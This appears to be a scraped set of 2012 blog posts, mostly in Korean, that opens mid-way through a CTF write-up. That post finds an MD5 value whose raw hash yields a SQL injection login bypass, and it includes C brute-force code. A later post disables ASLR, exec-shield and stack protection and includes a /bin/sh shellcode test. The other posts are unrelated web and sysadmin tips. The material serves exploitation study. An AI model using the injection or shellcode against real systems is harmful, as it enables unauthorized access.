SELECT login FROM admins WHERE password = 'xxx'||'1xxxxxxxx'

|| is equivalent to OR, and a string starting with a 1 is cast as an integer when used as a boolean. Therefore, my injection would be equivalent to this:

SELECT login FROM admins WHERE password = 'xxx' OR 1

By Just removing a single character, that got me down to 2.3 days' worth of calculation. Still not fast enough, but getting closer.

Lopping off another character, and more improvements

Since any number from 1 to 9 would work in my injection, I could shorten my injection string to just '||' and then check to see if the injection string were followed by a digit from 1 to 9 (a very cheap check). This would simultaneously reduce my MD5 calculations by a factor of 256 and make it 9 times as likely that I’d find a usable injection string.

And since || is the same as OR, I could check for it too (2x speedup) and all its case variations (16x speedup). Running my program on a remote dual-core desktop instead of my netbook got me another 10x speedup.

The final hash

After computing only 19 million MD5 hashes, my program found an answer:

content: 129581926211651571912466741651878684928
count:   18933549
hex:     06da5430449f8f6f23dfc1276f722738
raw:     ?T0D??o#??'or'8.N=?

So I submitted the password 129581926211651571912466741651878684928 to the PHP script, and it worked! I was able to see this table:

admins-table

Last step

The last step of the challenge was to turn the MD5 hash into a password. I could have used a brute forcer like John, but instead I just searched Google. The password had been cracked by opencrack.hashkiller.com and was 13376843.

The code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/evp.h>

// compile with: gcc -lssl find.c

int main(void) {

EVP_MD_CTX mdctx;
unsigned char md_value[EVP_MAX_MD_SIZE];
unsigned int md_len;
int i = 0;
int r, r1, r2, r3;
char rbuf[100];
char *match;

srand(time(0));

while(1) {
i++;
if(i % 100000 == 0) {
printf("i = %d\n", i);
}

// pick a random string made of digits
r = rand(); r1 = rand(); r2 = rand(); r3 = rand();
sprintf(rbuf, "%d%d%d%d", r, r1, r2, r3);

// calculate md5
EVP_DigestInit(&mdctx, EVP_md5());
EVP_DigestUpdate(&mdctx, rbuf, (size_t) strlen(rbuf));
EVP_DigestFinal_ex(&mdctx, md_value, &md_len);
EVP_MD_CTX_cleanup(&mdctx);

// find || or any case of OR
match = strstr(md_value, "'||'");
if(match == NULL) match = strcasestr(md_value, "'or'");

if(match != NULL && match[4] > '0' && match[4] <= '9') {
printf("content: %s\n", (char *)rbuf);
printf("count: %d\n", i);
printf("hex: ");
for(i = 0; i < md_len; i++)
printf("%02x", md_value[i]);
printf("\n");
printf("raw: %s\n", md_value);
exit(0);
}
}
}
view rawfind.cThis Gist brought to you by GitHub.

Final scoreboard

hax hax hax

Posted by k1rha
2012. 3. 21. 02:35

This plugin was originally written by Dave Methvin.
Dave and I collaborated on several improvements and the project is now hosted on github.
The most recent version is also available here: jquery.corner.js.

Absolute Position
It's important to understand that this corner plugin is pulling off its magic by adding more elements to the page. Specifically, it adds div "strips" to the item to be cornered and sets a solid background color on these strips in order to hide the actual corners of the real item. So if you step back and look at the cornered element, think of there being solid colored divs hiding the true squared off corners of the item you wish to be changed. This helps you understand the inherent limitations of this small plugin. It's best suited for rounding off block-level elements (divs, paragraphs, etc) and may present more challenges when trying to round off inline elements (spans, anchors, etc).
Recently I added support for native border-radius rounding in browsers that support it (Opera 10.5+, Firefox, Safari, and Chrome). So in those browsers the plugin simply sets a css property on the element. But in IE, we'll have to wait for version 9 before that is supported. And for all browsers, choosing a pattern other than "round" requires the use of the "div stips" method.
Auto-Ready!

Available Patterns

The default pattern is round

Round

$(this).corner();

Bevel

$(this).corner("bevel");

Notch

$(this).corner("notch");

Bite

$(this).corner("bite");

Cool

$(this).corner("cool");

Sharp

$(this).corner("sharp");

Slide

$(this).corner("slide");

Jut

$(this).corner("jut");

Curl

$(this).corner("curl");

Tear

$(this).corner("tear");

Fray

$(this).corner("fray");

Wicked

$(this).corner("wicked");

Sculpt

$(this).corner("sculpt");

Long

$(this).corner("long");

Dog Ear

$(this).corner("dog");

Dog2

$(this).corner("dog2");

Dog3

$(this).corner("dog3");

Dogfold*

$(this).corner("dogfold");

Bevelfold*

$(this).corner("bevelfold");

Steep

$(this).corner("steep");

InvSteep

$(this).corner("invsteep");

* Fold lines are not supported in Internet Explorer for pages rendered in quirksmode.
* Fold lines are only supported on top corners in Internet Explorer, unless running in IE8 standards-mode.

Choose Your Corner

Use top, bottom, left, right, tl, tr, bl, br to identify which corner to style

Top Bevel

$(this).corner("bevel top");

Top-Left Bite

$(this).corner("bite tl");

Round Bottom

$(this).corner("bottom");

Left Notch

$(this).corner("notch left");

Top-Right Dog Ear

$(this).corner("dog tr");

Top-Left, Bottom-Right Cool

$(this).corner("cool tl br");

Right Bevelfold

$(this).corner("bevelfold right");

Specify Size

Include a px value to specify the corner size

Round 30px

$(this).corner("30px");

Round 5px

$(this).corner("5px");

Cool 20px

$(this).corner("cool 20px");

Sharp 20px

$(this).corner("sharp 20px");

Bite 30px

$(this).corner("bite 30px");

Wicked 20px

$(this).corner("wicked 20px");

Dog 20px

$(this).corner("dog 20px");

Dog2 30px

$(this).corner("dog2 30px");

Dog3 30px

$(this).corner("dog3 30px");

Mix and Match

Chain corner calls to achieve combined effects

Round and Bevel

$(this).corner( "bottom").corner("top bevel");

Round and Notch

$(this).corner( "br top").corner("notch bl 20px");

Crazy

$(this).corner("jut tl 20px").corner("dog tr 20px").corner("bite bl 15px").corner("notch br");

Adornment

Effects Using Nested Cornered Elements (Thanks to Kevin Scholl for this idea)

Round

$(this).corner("round 8px").parent().css('padding', '4px').corner("round 10px")

Round

$(this).corner("round 8px").parent().css('padding', '8px').corner("round 14px")

Round

$(this).corner("round 14px").parent().css('padding', '15px').corner("round 14px")

Bevel

$(this).corner("bevel 8px").parent().css('padding', '5px').corner("bevel 10px")

Bevel

$(this).corner("bevel 8px").parent().css('padding', '10px').corner("bevel 14px")

Bite

$(this).corner("bite 10px").parent().css('padding', '8px').corner("bite 10px")

Bite

$(this).corner("bite 20px").parent().css('padding', '15px').corner("bite 20px")

Fray

$(this).corner("fray 10px").parent().css('padding', '10px').corner("fray 10px")

Tear

$(this).corner("tear 20px").parent().css('padding', '15px').corner("tear 20px")

Notch

$(this).corner("notch 4px").parent().css('padding', '4px').corner("notch 4px")

Notch

$(this).corner("notch 10px").parent().css('padding', '12px').corner("notch 10px")

Sharp

$(this).corner("sharp 10px").parent().css('padding', '8px').corner("sharp 10px")

Cool

$(this).corner("cool 20px").parent().css('padding', '10px').corner("cool 10px")

Bite/Round

$(this).corner("round 20px").parent().css('padding', '8px').corner("bite 10px")

Round/Bite

$(this).corner("bite 15px").parent().css('padding', '8px').corner("round 10px")

Fray/Tear

$(this).corner("tear 20px").parent().css('padding', '8px').corner("fray 10px")

Jut/Sculpt

$(this).corner("sculpt 20px").parent().css('padding', '8px').corner("jut 10px")

Bevel/Notch

$(this).corner("notch 20px").parent().css('padding', '8px').corner("bevel 15px")

Notch/Bite

$(this).corner("bite 15px").parent().css('padding', '10px').corner("notch 10px")

Bite/Notch

$(this).corner("notch 15px").parent().css('padding', '15px').corner("bite 20px")

Curl/Long

$(this).corner("long 15px").parent().css('padding', '15px').corner("curl 15px")

Pick Your Colors (or keep your borders)

By default, corners are created using transparency and the background color of the parent element. When this is not what you want you can specify the colors that should be used.
        corner color: cc:#xxx
        strip color:  sc:#xxx
        keep borders: keep
        

normal corners

$(this).corner();

colored corners

$(this).corner("cc:#009");

colored strips

$(this).corner("sc:#009");

"keep" border

$(this).corner("keep");

cc:#009 notch

$(this).corner("cc:#009 notch");

cc:#009 keep notch

$(this).corner("keep notch cc:#009");

cc:#009 keep bite

$(this).corner("bite keep 15px cc:#009");

cc:#009 cool keep

$(this).corner("cc:#009 cool keep 20px");

Fun Stuff

Interesting Side Effects

Left

$(this).corner("sharp tr br 20px");

Right

$(this).corner("sharp tl bl 20px");

Fixed or Fluid? No problem!

The following divs have a combination of fixed and fluid widths and heights

Height: Fluid
Width: Fluid
lorem ipsum dolor sit amet consectetuer adipiscing elit sed lorem leo lorem leo consectetuer adipiscing elit

Height: Fixed
Width: Fluid
lorem ipsum dolor sit amet consectetuer adipiscing elit sed lorem leo lorem leo consectetuer adipiscing elit sed lorem leo rhoncus sit amet elementum at bibendum at, eros cras at mi et tortor egestas vestibulum sed cras at mi vestibulum phasellus sed felis sit amet orci dapibus semper.

Height: Fluid
Width: Fixed
lorem ipsum dolor sit amet consectetuer adipiscing elit sed lorem leo lorem leo consectetuer adipiscing elit

Height: Fixed
Width: Fixed
lorem ipsum dolor sit amet consectetuer adipiscing elit sed lorem leo lorem leo consectetuer adipiscing elit

Plain Styling

The following divs test normal fluid content with only the styles shown

Round
This is a plain div with a 30px padding

Round
This is a plain div with a 0px padding

Round
This is a plain div with a 30px padding and 30px margin

Uncornering

The following shows dynamic cornering/uncornering

// script used
...
$('#dynamic').corner();
...
$('#dynamic').uncorner();

Uncornering Demo
This div has an id of #dynamic

Using Markup Metadata Instead of Options

The following shows how to embed the corner options in your markup instead of passing them into the corner function

// markup
<div class="myCorner" data-corner="left 20px">Metadata Example</div>

// script - no options passed to corner function
$('.myCorner').corner();

Metadata Example
Posted by k1rha
2012. 3. 21. 02:33

.ui-mobile-viewport { margin: 0; overflow-x: visible; -webkit-text-size-adjust: none; -ms-text-size-adjust:none; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); }

jquerymobile 코드를 삭 뒤져서 겨우 얻어냈다. 

이부분을 없애면된다.  

Posted by k1rha
2012. 3. 21. 00:13

 항상 찾을려면 없는 이코드..

<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>


<script type="text/javascript">
function initialize() {
var myLatlng = new google.maps.LatLng(-34.397, 150.644);
var myOptions = {
zoom: 8,
center: myLatlng,
mapTypeId: google.maps.MapTypeId.ROADMAP
}
var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);
}

</script>

<div id="map_canvas" style="width:500px; height:300px;"></div>

이후 body 부분에   onload=" initialize()" 해주면 된다. 

Posted by k1rha
2012. 3. 21. 00:10

execstack -q BINARY

했을때
X 나오면
스택이 executable 한거라네요 ㅎㅎ

일단 확인을 했으니 설정하고 다시 코드로 확인 하는방법!  



2) 최근 lnx kernel 문제

kernel 옵션 중 kernel.randomize_va_space랑 kernel.exec-shield 라는 옵션이 있심...
kernel.randomize_va_space는 random stack기능에 대한거고..
kernel.exec-shield는 executable-stack기능에 대한거고..
0으로 설정하면 Off 1로 설정하면 On
kernel 옵션을 설정하는 파일은 /etc/sysctl.conf이고 이 파일을 다음과 같이 수정한 후 리붓하면 해당 기능들이 꺼짐:

kernel.randomize_va_space = 0
kernel.exec-shield = 0

같은 맥락에서 gcc 옵션도 해 줘야 할 것이 있는데 다음과 같은 옵션이 있음:

-mpreferred-stack-boundary=2
-fno-stack-protector
-z exec-stack

각 옵션이 뭘 뜻하는지는 찾아보삼..

이 설정들을 다 하면 다음과 같은 코드로 테스트 해 볼 수 있삼...

----- rand_stack_test.c
// 다음 코드를 컴파일 한 후 두 번 이상 실행 했을 때 같은 주소가 나온다면
// random-stack 기능이 off 되었다고 할 수 있음
#include <stdio.h>

int main(void)
{
char buf[128];
fprintf(stdout, "buf variable address: 0x%08X\n", buf);
return 0;
}
----- rand_stack_test.c

----- exec_stack_test.c
// 다음 코드를 컴파일 한 후 실행 했을 때 정상적으로 쉘이 실행된다면
// stack-shield 기능이 off 되었다고 할 수 있음
#include <stdio.h>

char sc[] = 
"\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80";

int main(void)
{
void (*f)(void);
f = (void*)sc;
f();
return 0;
}
----- exec_stack_test.c

Posted by k1rha
2012. 3. 21. 00:09

SSH 로 서버에 접속시에 세션이 바뀌었을때 처리하는 명령어.
 

ssh-keygen -R [ IP or DomainName]

ex) ssh-keygen -R 123.123.123.123

이렇게 되면 key 값이 조기화 된다.  
Posted by k1rha
2012. 3. 21. 00:08
CentOS 5 에서 iptables 설정법 프로그래밍

2008/03/15 12:19

복사http://blog.naver.com/cocos2006/50029136645

요즘 CentOS 5.1을 가지고 서버를 구성하고 있는데 특히나 걸리는 부분이 방화벽 설정이었다.

CentOS에서는 iptables로 방화벽을 설정하는데, CentOS 5 부터 iptables의 설정에서 약간의 변경사항들이 있어서

예전부터 CentOS를 사용하지 않았던 사람들이 헷갈리는 경우가 있다. (본인을 포함해서...)

iptables의 설정과 적용에 관해서는 인터넷을 검색해보면 아주 잘 나와있다. 따라서 여기서 설명하는 것은

CentOS 5.1에서 iptables의 설정파일이 어디에 있으며, 설정내용들이 무엇인지, iptables를 적용하는 방법에 관해서

예를 들어 설명하고자 한다.

먼저, iptables의 설정파일이 위치한 곳은 '/etc/sysconfig/iptables'라는 파일이다.

내용은 대충 아래와 같다.

# Generated by iptables-save v1.3.5 on Fri Mar 14 10:42:34 2008
*filter
:INPUT ACCEPT [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [448:53618]
:RH-Firewall-1-INPUT - [0:0]

-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT

-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -i eth0 -j ACCEPT

-A RH-Firewall-1-INPUT -p icmp -m icmp --icmp-type any -j ACCEPT
-A RH-Firewall-1-INPUT -p esp -j ACCEPT
-A RH-Firewall-1-INPUT -p ah -j ACCEPT
-A RH-Firewall-1-INPUT -d 224.0.0.251 -p udp -m udp --dport 5353 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT

-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited
COMMIT
# Completed on Fri Mar 14 10:42:34 2008

각각의 세부설정 옵션에 관해서는 인터넷을 검색하면되고, 가장 위쪽에 위치한

':INPUT ACCEPT [0:0]' 의 뜻은 서버로 들어오는 기본정책으로 '모두 받아들인다'이다. 그 아래 세줄도 모두 비슷한 뜻이다.

':RH-Firewall-1-INPUT - [0:0]' 부분은 이곳에서 설정하고자 하는 정책들을 적용하겠다는 문구이다.

'-A INPUT -j RH-Firewall-1-INPUT' 이 부분이 INPUT에 관한 처리를 RH-Firewall-1-INPUT에 설정된 것을 사용한다는 것이다.

'-A FORWARD -j RH-Firewall-1-INPUT' 이 부분도 위와 비슷하게 FORWARD되는 정책의 설정을 나타낸다.

그 다음에 나오는 두줄이 설정에서 주의할 부분으로 인터페이스로 들어오는 부분에 대한 설정 사항이다.

-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -i eth0 -j ACCEPT

처음줄이 의미하는 것은 localhost에서 생성되는 포트들에 관한 설정 사항으로 모두 ACCEPT하게 설정되어 있다.

만일 이 부분이 없다면 localhost내에서 포트를 생성하여 내부에서 메시지가 교환되는 형태의 프로그램에서 이상이

발생할 수도 있다. 설정을 ACCEPT가 아니라 DROP으로 설정한다면 메시지의 교환이 이루어지지 않게 된다. 이런 상태에서는

데이터베이스서버와 응용프로그램과의 연결이 포트로 이루어 진다면 서로간의 메시지교환은 이루어지지 않게 된다.

두번째줄이 외부와 서버와의 연결을 의미하는데 'eth0'를 통하여 들어오는 연결에 관한 설정으로 여기서는 모두 받아 들여지게된다.

따라서 이 설정대로라면 외부와 서버와는 아무런 방화벽이 작동하지 않는 것과 같은 상태가 된다. 왜냐하면 서버와 클라이언트의 모든 연

결이 네트워크카드를 통해 이루어지기 때문이다. 하지만 이 설정을 DROP으로 만들면 않된다. DROP으로 만들어 적용을 하게되면 적용됨

과 동시에 서버와의 모든 연결은 끊어지게 되고, 원격에서(ssh를 포함해서)의 연결도 종료되고, 서버와 직접연결된 터미널에서만

서버를 제어할 수 있기때문이다.

나머지 아래의 부분들은 http, ftp등등에 관한 연결설정을 나타낸다. 인터넷에서 찾아보면 내용을 알 수 있다.

다른 것은 아마도 iptables라는 명령어가 앞에 생략된 것 뿐일 것이다.

-A RH-Firewall-1-INPUT -p icmp -m icmp --icmp-type any -j ACCEPT
-A RH-Firewall-1-INPUT -p esp -j ACCEPT
-A RH-Firewall-1-INPUT -p ah -j ACCEPT
-A RH-Firewall-1-INPUT -d 224.0.0.251 -p udp -m udp --dport 5353 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT

-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT

위 설정 아래의 부분은 생략하지 않고 남겨 둔다.

" -A RH-Firewall-1-INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT " 이 부분은 현재 연결이 되어 있는 포트에 관해서는

연결을 유지한다는 뜻이다. 따라서 원격으로 접속하고 있었다 하더라도 연결이 끊어지는 것을 막을 수 있다.

그럼 위와 같이 기본설정으로 된 것을 바꾸어 보도록 하자.

정책은 다음과 같다.

" INPUT과 FORWARD에 관해서는 기본적으로 사용하지 않는 포트들은 모두 막는다. 내가 만든 채팅서버에서 사용하는 3333번포트는 열어

둔다."

사항들을 적용해 보면 아래와 같다.

# Generated by iptables-save v1.3.5 on Fri Mar 14 10:42:34 2008
*filter
:INPUT DROP [0:0] <- 이 부분을 DROP으로 바꾼다.
:FORWARD DROP [0:0] <- 이 부분을 DROP으로 바꾼다.
:OUTPUT ACCEPT [448:53618]
:RH-Firewall-1-INPUT - [0:0]

-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT

-A RH-Firewall-1-INPUT -i lo -j ACCEPT
# -A RH-Firewall-1-INPUT -i eth0 -j ACCEPT <- 이 부분을 주석처리한다.
-A RH-Firewall-1-INPUT -p icmp -m icmp --icmp-type any -j ACCEPT
-A RH-Firewall-1-INPUT -p esp -j ACCEPT
-A RH-Firewall-1-INPUT -p ah -j ACCEPT
-A RH-Firewall-1-INPUT -d 224.0.0.251 -p udp -m udp --dport 5353 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT <- ssh용

-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT <- http용
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT <-ftp용
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 3333 -j ACCEPT <- 채팅서버가 사용하는 포트
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited
COMMIT
# Completed on Fri Mar 14 10:42:34 2008

위와 같이 설정을 하고 "/etc/init.d/iptables restart" 스크립트명령을 실행하면 적용이 된다.

위에서 " # -A RH-Firewall-1-INPUT -i eth0 -j ACCEPT " 부분을 주석처리하는 것을 주의하기 바란다.

이 부분을 그냥 놔두면 이 부분의 아래에 설정된 사항들은 모두 무시되고 모든연결이 이루어 진다.

그리고 적용을 하기 전에 서버에서 서비스할 데몬들이 어떤 것들이 있는지 확인하고, 서비스되어야 할 포트들은 모두 열어주는 설정을 포

함 시켜야 한다. 위에서는 20번포트가 빠져있지만 필요하다면 설정해야 하고, 만일 DNS서버를 운영중이라면 tcp, udp의 53번포트를 열어

주는 설정도 추가되어야 할 것이다.

Posted by k1rha
2012. 3. 21. 00:07

커널 3.2 버젼을 컴파일하기 위해서는 GCC 버젼이 우선 4.6 이상으로 선행 되어야 한다. 



#===================================================================
GCC 4.6 이상 버젼으로 업데이트 하기 
GCC를 재컴파일 하기위해서는 gmp, mpfr, mpc 3박자가 다 잘 맞아 떨어져야한다.
실제로 GCC를 그냥 make make install 를 하다보면 호환성 문제로 에러가 나게된다. 즉 이 3가지 버젼을 맞춰준뒤 컴파일 해야 한다.
===================================================================
4.6.0.tar.gz
# tar zxvf gcc-4.6.0.tar.gz
# cd gcc-4.6.0
==================================================================
# wget ftp://ftp.gmplib.org/pub/gmp-5.0.2/gmp-5.0.2.tar.gz
# tar zxvf gmp-5.0.2.tar.gz
# cd gmp-5.0.2
# ./configure
# make
# make install
==================================================================
# wget http://www.mpfr.org/mpfr-current/mpfr-3.1.0.tar.bz2
# tar zxvf mpfr-3.0.1.tar.gz
# cd mpfr-3.0.1
# ./configure
# make
# make install
==================================================================
# wget http://www.multiprecision.org/mpc/download/mpc-0.9.tar.gz
# tar zxvf mpc-0.9.tar.gz
# cd mpc-0.9
# ./configure
# make
# make install
==================================================================
# echo $LD_LIBRARY_PATH
# export LD_LIBRARY_PATH=/usr/local/lib
gcc-4.6.0をコンパイル
# cd gcc-4.6.0
# ./configure --prefix=/usr/local/gcc-4.6.0 --disable-multilib

#yum provides *-stubs-32.h
#yum install kernel-devel
#yum install kernel-headers
#yum install dkms
#yum install gcc
#yum install gcc-c++
#yum install glibc-devel.i686
#yum install zip
 
# make
# make install
# cd /usr/local/gcc-4.6.0/bin
# ./gcc -v
=======================================================
혹시나 fatal error 를 띄워질경우
stubs-32.h 로 인한 오류일경우 
이경우는 64비트 체계에서 32비트 체계와 크로스 컴파일 하기위해 시도하는 것이다  
The problem should be resolved after you will install glibc-devel:
sudo yum -y install glibc-devel
and adding
?disable-multilib
to configure, so that you configure command line will look like this:
./configure  … ?disable-multilib
라는 답변도 사용용 해 볼수 있다.
오류 1-1 참조 
=======================================================
=====1-1 errror=======================
설치확인 : kernel-devel kernel-headers dkms gcc gcc-c++ 를 설치
#yum provides *-stubs-32.h
#yum install kernel-devel
#yum install kernel-headers
#yum install dkms
#yum install gcc
#yum install gcc-c++
#yum install glibc-devel.i686
When compile HTK on 64bit machines, by default it will still try to compile the tools to 32bit. Then there will be an error after issue the command "make all":
/usr/include/gnu/stubs.h:7:27: fatal error: gnu/stubs-32.h: No such file or directory
To solve this problem, what we need is to install the multilib package for the gcc and g++. On Ubuntu, install following packages:
g++-multilib
gcc-multilib
and redo "make all".
=======================================================================
 


=========================================================================
커널 3.2 버젼으로 올리기  (GCC 4.6 을 설치 완료)
=========================================================================
#yum install gcc
#yum install ncurses-devel
#yum install rpm-build
#yum install bison
#yum install depmod
#yum install mkinitrd

#cd /usr/local/src
#wget ftp://www.kernel.org/pub/linux/kernel/v3.x/linux-3.2.tar.bz2
#tar xvf linux-3.2.tar.bz2
#ln -s linux-3.2.tar.bz2 linux
#cd linux
#make clean
#make mrproper
#cd /boot/config-[현재커널 버젼] ./.config   //구동중인 커널의 환경정보를 그대로 가져다가 컴파일 하기 위함.
#make menuconfig
==================================================================
= 1.환경 모드로 들어와서 하단의 Load an AL ternate Configuration FIle 을 선택
= 2..config 파일이 입력되어 있는데 이를 선택하여 현재 커널 환경을 불러들임 
= 3.맨위에 탭인 Gerneral setup 을 선택
= 4.enable deprecated sysfs features which may confuse old userspace tools 를 체크함.
= 5.exit 로 나가되 저장하고 나가기할것
= 혹은 .config 파일에서 CONFIG_SYSFS_DEPRECATED_V2=y로 체크 할것
==================================================================
#make && make modules && make modules_install && make install
#cat /boot/grub/grub.conf  //새로운 커널이 부팅할수 있게 설정 되어있나 확인하고
구버젼이 설정되어있으면 주석처리
#reboot 
#uname -a 

Posted by k1rha
2012. 3. 21. 00:05

make: warning: Clock skew detected. Your build may be incomplete.
시간을 동기화 시킨다.

checking for termcap functions library... configure: error: No curses/termcap library found
해결책 : # yum -y install ncurses-devel

configure: error: C++ preprocessor "/lib/cpp" fails sanity check
해결책 : # yum -y install gcc-c++

/usr/lib/libdb-4.3.so: could not read symbols: File in wrong format
/usr/lib/libexpat.so: could not read symbols: File in wrong format

해결책 : # mv /usr/lib/libexpat.so /usr/lib/libexpat.so.bak
# ln -s /lib64/libexpat.so.0.5.0 /usr/lib/libexpat.so
# mv /usr/lib/libdb-4.3.so /usr/lib/libdb-4.3.so.bak
# ln -s /lib64/libdb-4.3.so /usr/lib/libdb-4.3.so
에러의 원인은 64비트 환경에서 32비트용 소스를 가져다가 설치하기 때문이다. 컴파일 도구와 관련된 심볼릭 링크 파일을 찾지 못한다고 나오고 있다.

configure: error: Unable to locate gmp.h
해결책 : # yum -y install gmp*

configure: error: not found. Please reinstall the expat distribution.
해결책 : # yum -y install expat*

configure: error: Please reinstall the libcurl distribution - easy.h should be in /include/curl/
해결책 : # yum -y install curl* 또는 yum -y install curl & yum -y install curl-devel

configure: error: Please reinstall libmcrypt - I cannot find mcrypt.h <br>
configure: error: Please reinstall libmhash - I cannot find mhash.h
해결책 : # yum install libmcrypt libmcrypt-devel libmhash libmhash-devel

Configure: error: xml2-config not found. Please check your libxml2 installation
해결책 : #yum install libxml2-devel

Checking for pkg-config... /usr/bin/pkg-config
configure: error: Cannot find OpenSSL's <evp.h>
해결책 : #yum install openssl-devel

Configure: error: Please reinstall the BZip2 distribution
해결책 : # yum install bzip2-devel

Configure: error: libjpeg.(also) not found.
해결책 : # yum install libjpeg-devel

Configure: error: libpng.(also) not found.
해결책 : yum install libpng-devel

Configure: error: freetype.h not found.
해결책 : #yum install freetype-devel

Configure: error: Cannot find MySQL header files under /usr.
Note that the MySQL client library is not bundled anymore!
해결책 : # yum install mysql-devel

Configure: error: Please reinstall the ncurses distribution
해결책 : # yum install ncurses-devel

Checking for unixODBC support... configure: error: ODBC header file '/usr/include/sqlext.h' not found!
해결책 : # yum install unixODBC-devel

Configure: error: Cannot find pspell
해결책 : # yum install pspell-devel

Configure: error: snmp.h not found. Check your SNMP installation.
# yum install net-snmp-devel

configure: error: ZLIB extension requires zlib >= 1.0.9

ln -sf /usr/lib64/libgssapi_krb5.so.2.2 /usr/lib/libgssapi_krb5.so
ln -sf /usr/lib64/libkrb5.so.3.3 /usr/lib/libkrb5.so
ln -sf /usr/lib64/libk5crypto.so.3.1 /usr/lib/libk5crypto.so
ln -sf /lib64/libcom_err.so.2 /usr/lib/libcom_err.so
ln -sf /usr/lib64/libgcrypt.so.11 /usr/lib/libgcrypt.so
ln -sf /usr/lib64/libgpg-error.so.0 /usr/lib/libgpg-error.so
ln -sf /usr/lib64/libexpat.so /usr/lib/libexpat.so
ln -sf /usr/lib64/libm.so /usr/lib/libm.so
ln -sf /usr/lib64/libssl.so /usr/lib/libssl.so

Posted by k1rha